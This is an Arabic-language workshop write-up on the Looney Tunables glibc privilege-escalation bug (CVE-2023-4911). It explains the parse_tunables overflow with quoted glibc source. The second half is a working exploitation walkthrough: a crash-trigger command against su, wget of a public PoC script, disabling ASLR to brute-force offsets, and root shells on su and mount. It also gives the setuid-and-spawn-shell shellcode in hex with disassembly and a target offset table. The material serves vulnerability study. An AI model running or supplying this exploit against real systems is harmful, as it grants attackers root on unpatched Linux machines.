ورشة عمل Looney Tunables لتصعيد الامتيازات المحلية (CVE-2023-4911) (للأغراض التعليمية فقط)
في الحوسبة، الرابط الديناميكي هو جزء من نظام التشغيل الذي يقوم بتحميل وربط المكتبات المشتركة التي يحتاجها الملف القابل للتنفيذ عند تنفيذه، عن طريق نسخ محتوى المكتبات من التخزين المستمر إلى ذاكرة الوصول العشوائي (RAM)، وملء جداول الانتقال، ونقل المؤشرات.
على سبيل المثال، لدينا برنامج يستخدم مكتبة opensl لحساب تجزئة md5:
$ head md5_hash.c
#include <stdio.h>
#include <string.h>
#include <openssl/md5.h>
يقوم ld.so بتحليل الملف الثنائي ويحاول العثور على المكتبة المرتبطة بـ <openssl/md5.h>
$ ldd md5_hash
linux-vdso.so.1 (0x00007fffa530b000)
libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)
كما نرى، فإنه يجد مكتبة التشفير الضرورية في /lib/x86_64-linux-gnu/libcrypto.so.3 أثناء بدء تشغيل البرنامج، فإنه يضع كود هذه المكتبة في ذاكرة الوصول العشوائي للعملية ويربط جميع المراجع بهذه المكتبة.
عند بدء تشغيل برنامج ما، يقوم هذا المُحمل أولاً بفحص البرنامج لتحديد المكتبات المشتركة التي يحتاجها. ثم يقوم بالبحث عن هذه المكتبات، وتحميلها في الذاكرة، وربطها بالملف القابل للتنفيذ في وقت التشغيل. في هذه العملية، يقوم المُحمل الديناميكي بتحليل مراجع الرموز، مثل مراجع الوظائف والمتغيرات، مما يضمن إعداد كل شيء لتنفيذ البرنامج. نظرًا لدوره، فإن المُحمل الديناميكي حساس للغاية للأمان، حيث يعمل الكود الخاص به بامتيازات مرتفعة عندما يقوم مستخدم محلي بتشغيل برنامج set-user-ID أو set-group-ID.
تعد Tunables ميزة في مكتبة GNU C التي تسمح لمؤلفي التطبيقات ومشرفي التوزيع بتغيير سلوك مكتبة وقت التشغيل لتتناسب مع عبء العمل الخاص بهم. يتم تنفيذها كمجموعة من المفاتيح التي يمكن تعديلها بطرق مختلفة. الطريقة الافتراضية الحالية للقيام بذلك هي عبر متغير البيئة GLIBC_TUNABLES عن طريق تعيينه إلى سلسلة من الأسماء المفصولة بنقطتين = أزواج القيمة. على سبيل المثال، المثال التالي يمكّن التحقق من malloc ويعين حد قطع malloc إلى 128 بايت:
GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3
export GLIBC_TUNABLES
تمرير --list-tunables إلى المُحمل الديناميكي لطباعة جميع tunables بالحد الأدنى والحد الأقصى للقيم:
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)
في بداية تنفيذه، يستدعي ld.so __tunables_init() للتجول في البيئة (في السطر 279)، والبحث عن متغيرات GLIBC_TUNABLES (في السطر 282)؛ لكل GLIBC_TUNABLES يعثر عليه، يقوم بإنشاء نسخة من هذا المتغير (في السطر 284)، ويستدعي parse_tunables() لمعالجة هذه النسخة وتعقيمها (في السطر 286)، وأخيرًا يستبدل GLIBC_TUNABLES الأصلية بهذه النسخة المعقمة (في السطر 288). ):
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
269 void
270 __tunables_init ( char * * envp )
271 {
272 char * envname = NULL ;
273 char * envval = NULL ;
274 size_t len = 0 ;
275 char * * prev_envp = envp ;
...
279 while (( envp = get_next_env ( envp , & envname , & len , & envval ,
280 & prev_envp )) != NULL )
281 {
282 if ( tunable_is_name ( "GLIBC_TUNABLES" , envname )) // searching for GLIBC_TUNABLES variables
283 {
284 char * new_env = tunables_strdup ( envname );
285 if ( new_env != NULL )
286 parse_tunables ( new_env + len + 1 , envval ); //
287 /* Put in the updated envval. */
288 * prev_envp = new_env ;
289 continue ;
290 } تشير الوسيطة الأولى لـ parse_tunables() (tunestr) إلى النسخة التي سيتم تعقيمها قريبًا من GLIBC_TUNABLES، بينما تشير الوسيطة الثانية (valstring) إلى متغير بيئة GLIBC_TUNABLES الأصلي (في المكدس). لتطهير نسخة GLIBC_TUNABLES (والتي يجب أن تكون بالصيغة "tunable1= aaa:tunable2=bbb" )، تقوم parse_tunables() بإزالة جميع tunables الخطرة (tunables SXID_ERASE) من tunstr، ولكنها تحافظ على SXID_IGNORE وNONE tunables (في الأسطر 221- 235):
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables ( char * tunestr , char * valstring )
164 {
...
168 char * p = tunestr ;
169 size_t off = 0 ;
170
171 while (true)
172 {
173 char * name = p ;
174 size_t len = 0 ;
175
176 /* First, find where the name ends. */
177 while ( p [ len ] != '=' && p [ len ] != ':' && p [ len ] != ' ' )
178 len ++ ;
179
180 /* If we reach the end of the string before getting a valid name-value
181 pair, bail out. */
182 if ( p [ len ] == ' ' )
183 {
184 if ( __libc_enable_secure )
185 tunestr [ off ] = ' ' ;
186 return ;
187 }
188
189 /* We did not find a valid name-value pair before encountering the
190 colon. */
191 if ( p [ len ] == ':' )
192 {
193 p += len + 1 ;
194 continue ;
195 }
196
197 p += len + 1 ;
198
199 /* Take the value from the valstring since we need to NULL terminate it. */
200 char * value = & valstring [ p - tunestr ];
201 len = 0 ;
202
203 while ( p [ len ] != ':' && p [ len ] != ' ' )
204 len ++ ;
205
206 /* Add the tunable if it exists. */
207 for ( size_t i = 0 ; i < sizeof ( tunable_list ) / sizeof ( tunable_t ); i ++ )
208 {
209 tunable_t * cur = & tunable_list [ i ];
210
211 if ( tunable_is_name ( cur -> name , name ))
212 {
...
219 if ( __libc_enable_secure )
220 {
221 if ( cur -> security_level != TUNABLE_SECLEVEL_SXID_ERASE )
222 {
223 if ( off > 0 )
224 tunestr [ off ++ ] = ':' ;
225
226 const char * n = cur -> name ;
227
228 while ( * n != ' ' )
229 tunestr [ off ++ ] = * n ++ ;
230
231 tunestr [ off ++ ] = '=' ;
232
233 for ( size_t j = 0 ; j < len ; j ++ )
234 tunestr [ off ++ ] = value [ j ];
235 }
236
237 if ( cur -> security_level != TUNABLE_SECLEVEL_NONE )
238 break ;
239 }
240
241 value [ len ] = ' ' ;
242 tunable_initialize ( cur , value );
243 break ;
244 }
245 }
246
247 if ( p [ len ] != ' ' )
248 p += len + 1 ;
249 }
250 }لسوء الحظ، إذا كان متغير بيئة GLIBC_TUNABLES بالصيغة "tunable1=tunable2=AAA" (حيث يكون "tunable1" و"tunable2" عبارة عن قابليات ضبط SXID_IGNORE، على سبيل المثال "glibc.malloc.mxfast")، فحينئذٍ:
أثناء التكرار الأول لـ "while (true)" في parse_tunables()، يتم نسخ "tunable1=tunable2=AAA" بالكامل في مكانه إلى tunestr (في الأسطر 221-235)، وبالتالي ملء tunstr؛
في الأسطر 247-248، لا تتم زيادة p (p[len] هو ' ' لأنه لم يتم العثور على ':' في الأسطر 203-204) وبالتالي لا يزال p يشير إلى قيمة "tunable1"، أي "tunable2=" AAA";
أثناء التكرار الثاني لـ "while (true)" في parse_tunables()، يتم إلحاق "tunable2=AAA" (كما لو كانت قابلة للضبط ثانية) بـ tunestr (وهو ممتلئ بالفعل)، وبالتالي يفيض tunstr.
يأمر:
$ env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " " Z= ` printf ' %08192x ' 1 ` " /usr/bin/su --help
Segmentation fault (core dumped)الحمولة:
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001
الطول -> 8236 بايت
تمثل مشكلة عدم الحصانة هذه تجاوزًا مباشرًا للمخزن المؤقت، ولكن ما الذي يجب علينا الكتابة فوقه لتحقيق تنفيذ تعليمات برمجية عشوائية؟ يتم تخصيص المخزن المؤقت الذي تجاوزناه في السطر 284 بواسطة tunables_strdup()، وهو إعادة تنفيذ لـ strdup() الذي يستخدم __minimal_malloc() الخاص بـ ld.so بدلاً من malloc() الخاص بـ glibc (في الواقع، لم تتم تهيئة malloc() الخاص بـ glibc بعد ). يستدعي تطبيق __minimal_malloc() هذا ببساطة mmap() للحصول على المزيد من الذاكرة من kernel.
دعونا نلقي نظرة على هذا الرمز:
56 struct link_map *
57 _dl_new_object ( char * realname , const char * libname , int type ,
58 struct link_map * loader , int mode , Lmid_t nsid )
59 {
..
84 struct link_map * new ;
85 struct libname_list * newname ;
..
92 new = ( struct link_map * ) calloc ( sizeof ( * new ) + audit_space
93 + sizeof ( struct link_map * )
94 + sizeof ( * newname ) + libname_len , 1 );
95 if ( new == NULL )
96 return NULL ;
97
98 new -> l_real = new ;
99 new -> l_symbolic_searchlist . r_list = ( struct link_map * * ) (( char * ) ( new + 1 )
100 + audit_space );
101
102 new -> l_libname = newname
103 = ( struct libname_list * ) ( new -> l_symbolic_searchlist . r_list + 1 );
104 newname -> name = ( char * ) memcpy ( newname + 1 , libname , libname_len );
105 /* newname->next = NULL; We use calloc therefore not necessary. */ يخصص ld.so الذاكرة لبنية link_map هذه باستخدام calloc()، وبالتالي لا يقوم بشكل صريح بتهيئة مختلف أعضائه إلى الصفر؛ وهذا هو التحسين المعقول. كما ذكرنا سابقًا، calloc() هنا ليس calloc() الخاص بـ glibc ولكنه __minimal_calloc() الخاص بـ ld.so، والذي يستدعي __minimal_malloc() دون تهيئة الذاكرة بشكل صريح ويعيدها إلى الصفر؛ يعد هذا أيضًا تحسينًا معقولًا، لأنه لجميع المقاصد والأغراض، يُرجع __minimal_malloc() دائمًا قطعة نظيفة من الذاكرة mmap()ed، والتي يتم ضمان تهيئتها إلى الصفر بواسطة النواة.
لسوء الحظ، يسمح لنا تجاوز سعة المخزن المؤقت في parse_tunables() بالكتابة فوق الذاكرة النظيفة mmap()ed ببايتات غير صفرية، وبالتالي استبدال مؤشرات بنية link_map التي سيتم تخصيصها قريبًا بقيم غير NULL. يتيح لنا ذلك كسر منطق ld.so تمامًا، والذي يفترض أن هذه المؤشرات فارغة.
لقد أدركنا أن العديد من المؤشرات في بنية link_map لم تتم تهيئتها بشكل صريح إلى NULL؛ على وجه الخصوص، المؤشرات إلى بنيات Elf64_Dyn في مجموعة المؤشرات l_info[]. من بين هذه العناصر، برز على الفور
l_info[DT_RPATH]، "مسار بحث المكتبة": إذا قمنا بالكتابة فوق هذا المؤشر وتحكمنا في المكان والأشياء التي يشير إليها، فيمكننا إجبار ld.so على الثقة في الدليل الذي نملكه، وبالتالي لتحميل مكتبة libc.so.6 أو LD_PRELOAD الخاصة بنا من هذا الدليل، وتنفيذ تعليمات برمجية عشوائية (كجذر، إذا قمنا بتشغيل ld.so من خلال برنامج SUID-root).
إلى أين يجب أن يشير
l_info[DT_RPATH]المكتوب إليه؟ الإجابة السهلة على هذا السؤال هي: المكدس؛ بتعبير أدق، سلاسل بيئتنا في المكدس. في Linux، يتم ترتيب المكدس بشكل عشوائي في منطقة سعة 16 جيجابايت، ويمكن أن تشغل سلاسل بيئتنا ما يصل إلى 6 ميجابايت (_STK_LIM / 4 * 3، في bprm_stack_limits() للنواة): بعد 16 جيجابايت / 6 ميجابايت = 2730 محاولة، لدينا فرصة جيدة للتخمين عنوان سلاسل بيئتنا (في استغلالنا، نستبدل دائمًاl_info[DT_RPATH]بـ 0x7ffdfffff010، مركز منطقة المكدس العشوائي). في اختباراتنا، تستغرق هذه القوة الغاشمة حوالي 30 ثانية على نظام Debian، وحوالي 5 ثوانٍ على Ubuntu وFedora (بسبب معالجات الأعطال التلقائية الخاصة بهما، Apport وABRT، ولم نحاول التغلب على هذا التباطؤ).
ما الذي يجب أن يشير إليه l_info[DT_RPATH] المكتوب؟ في برنامج استغلالنا، نقوم ببساطة بملء 6 ميغابايت من سلاسل البيئة الخاصة بنا بـ 0xffffffffffffff8 (-8)، لأنه عند إزاحة -8B أسفل جدول السلسلة لمعظم برامج جذر SUID، تظهر السلسلة "x08": وهذا يفرض ld.so للوثوق في دليل نسبي يسمى "x08" (في دليل العمل الحالي لدينا)، وبالتالي يسمح لنا بتحميل وتنفيذ مكتبة libc.so.6 أو LD_PRELOAD الخاصة بنا من هذا الدليل، كجذر.
مخطط:
أنا أستخدم لقطة kali linux القديمة لاختبار إثبات المفهوم (PoC). دعونا نتحقق مما إذا كان عرضة للخطر:
[~/cve]$ env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " " Z= ` printf ' %08192x ' 1 ` " /usr/bin/su --help
[1] 7995 segmentation fault env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " /usr/bin/sلقد حصلنا على SIGSEGV، لذا فإن نظامنا عرضة لـ CVE LPE!
لنقم بتنزيل البرنامج النصي PoC واختباره:
[~/cve]$ wget -q https://haxx.in/files/gnu-acme.py
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
error: no target info found for build id e664396d7c25533074698a0695127259dbbf56f3
لذلك، معرف البناء ld.so الخاص بنا ليس موجودًا في قائمة الأهداف، فلنصلحه! تعطيل ASLR:
[~/cve]$ sudo bash -c " echo 0 > /proc/sys/kernel/randomize_va_space "تحقق مرة أخرى:
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] ASLR is not enabled, attempting to find usable offsets
[i] using stack addr 0x7fffffffe10c
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 561
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 562
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 563
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 564
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 565
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 566
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 567
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 568
لذلك، يجد برنامجنا النصي POC بعض الإزاحة المفيدة، فلنضيف معرف البناء ld.so الخاص بنا والإزاحة إلى البرنامج النصي: إرجاع ASLR:
[~/cve]$ sudo bash -c " echo 1 > /proc/sys/kernel/randomize_va_space "لنجرب البرنامج النصي PoC مرة أخرى:
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe1010100c
.........................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
whoami
root
# id
uid=0(root)
إنها تعمل!
وهو يعمل أيضًا مع ملفات SUID أخرى:
[~/cve]$ find /usr/bin/ -perm -u=s -type f 2> /dev/null
< SNIP >
/usr/bin/mount
< SNIP > [~/cve]$ python3 gnu-acme.py /usr/bin/mount --help
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/mount, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe10101009
....................................................................................................................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
id
uid=0(root)
في بداية البرنامج النصي PoC، لدينا قاموس ARCH مع بعض بنيات المعالج (تركت x86_64 فقط أثناء استخدامه). في هذا القاموس لدينا
# This code is written by blasty <[email protected]>, I just commented it to figure it out
# ORIGINAL POC SCRIPT -> https://haxx.in/files/gnu-acme.py
import binascii
# <SNIP>
from shutil import which
unhex = lambda v : binascii . unhexlify ( v . replace ( " " , "" ))
ARCH = {
"x86_64" : {
"shellcode" : unhex (
"31ff6a69580f0531ff6a6a580f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
), # MODIFIED: context.arch = 'amd64'; asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh()).hex()
"exitcode" : unhex ( "6a665f6a3c580f05" ), # asm(shellcraft.exit(0x66)).hex()
"stack_top" : 0x800000000000 ,
"stack_aslr_bits" : 30 , # https://www.researchgate.net/figure/Comparative-summary-of-bits-of-entropy_tbl3_334618410
}
}تفكيك كود القشرة
0 : 31 ff xor edi , edi
2 : 6a 69 push 0x69
4 : 58 pop rax
5 : 0f 05 syscall
7 : 31 ff xor edi , edi
9 : 6a 6a push 0x6a
b: 58 pop rax
c: 0f 05 syscall
e: 6a 68 push 0x68
10 : 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax , 0x732f2f2f6e69622f
1a: 50 push rax
1b : 48 89 e7 mov rdi , rsp
1e: 68 72 69 01 01 push 0x1016972
23 : 81 34 24 01 01 01 01 xor DWORD PTR [ rsp ], 0x1010101
2a: 31 f6 xor esi , esi
2c: 56 push rsi
2d: 6a 08 push 0x8
2f: 5e pop rsi
30 : 48 01 e6 add rsi , rsp
33 : 56 push rsi
34 : 48 89 e6 mov rsi , rsp
37 : 31 d2 xor edx , edx
39 : 6a 3b push 0x3b
3b: 58 pop rax
3c: 0f 05 syscallتفكيك رمز الخروج
0 : 6a 66 push 0x66
2 : 5f pop rdi
3 : 6a 3c push 0x3c
5 : 58 pop rax
6 : 0f 05 syscallبعد ذلك لدينا قاموس مع الأهداف (ld.so معرف البناء) وإزاحات تجاوز سعة المخزن المؤقت الخاصة بهم
TARGETS = {
"e664396d7c25533074698a0695127259dbbf56f3" : 568
}بعد ذلك، هناك الكثير من الوظائف التي تم تسميتها حسب ما تفعله ويمكن استبدالها في الغالب بطرق من مكتبة pwntools. لذلك لا أرى فائدة من مناقشة هذه الأمور بالتفصيل، باستثناء بعضها
